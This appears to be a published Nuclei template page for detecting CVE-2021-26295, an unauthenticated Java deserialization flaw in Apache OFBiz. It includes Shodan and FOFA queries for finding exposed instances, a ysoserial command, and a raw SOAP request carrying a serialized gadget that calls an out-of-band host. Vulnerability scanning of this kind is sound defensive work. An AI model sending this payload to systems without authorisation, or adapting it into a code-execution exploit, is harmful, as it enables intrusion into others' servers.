Apache OFBiz <17.12.06 - Arbitrary Code Execution

ID: CVE-2021-26295

Severity: critical

Author: madrobot

Tags: cve2021,cve,packetstorm,apache,ofbiz,deserialization,rce

Description

Apache OFBiz has unsafe deserialization prior to 17.12.06. An unauthenticated attacker can use this vulnerability to successfully take over Apache OFBiz.

YAML Source

id: CVE-2021-26295

info:
  name: Apache OFBiz <17.12.06 - Arbitrary Code Execution
  author: madrobot
  severity: critical
  description: |
    Apache OFBiz has unsafe deserialization prior to 17.12.06. An unauthenticated attacker can use this vulnerability to successfully take over Apache OFBiz.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade Apache OFBiz to version 17.12.06 or later to mitigate this vulnerability.
  reference:
    - https://github.com/yumusb/CVE-2021-26295-POC
    - https://packetstormsecurity.com/files/162104/Apache-OFBiz-SOAP-Java-Deserialization.html
    - https://github.com/zhzyker/exphub/tree/master/ofbiz
    - https://lists.apache.org/thread.html/r3c1802eaf34aa78a61b4e8e044c214bc94accbd28a11f3a276586a31%40%3Cuser.ofbiz.apache.org%3E
    - https://lists.apache.org/thread.html/r6e4579c4ebf7efeb462962e359501c6ca4045687f12212551df2d607@%3Cnotifications.ofbiz.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26295
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-26295
    cwe-id: CWE-502
    epss-score: 0.97465
    epss-percentile: 0.99956
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: ofbiz
    shodan-query:
      - "OFBiz.Visitor="
      - http.html:"ofbiz"
      - ofbiz.visitor=
    fofa-query:
      - body="ofbiz"
      - app="apache_ofbiz"
    ysoserial-payload: java -jar ysoserial.jar URLDNS https://oob-url-to-request.tld | hex
  tags: cve2021,cve,packetstorm,apache,ofbiz,deserialization,rce

http:
  - raw:
      - |
        POST /webtools/control/SOAPService HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version='1.0' encoding='UTF-8'?>
        <soapenv:Envelope
          xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
          <soapenv:Header/>
            <soapenv:Body>
              <ns1:clearAllEntityCaches xmlns:ns1="http://ofbiz.apache.org/service/">
                  <ns1:cus-obj>{{generate_java_gadget("dns", "https://{{interactsh-url}}", "hex")}}</ns1:cus-obj>
              </ns1:clearAllEntityCaches>
            </soapenv:Body>
        </soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "errorMessage"
        condition: and

      - type: word
        part: header
        words:
          - "OFBiz.Visitor="
# digest: 4a0a0047304502201ae4439e3de24f6dfa75540222d907360c83130997afa18a3ddd4bcc2ab7376b022100c1ed81877d463393827fbcb172689b46bb85d02e88946e54c0c0328ff9e24224:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-26295.yaml"

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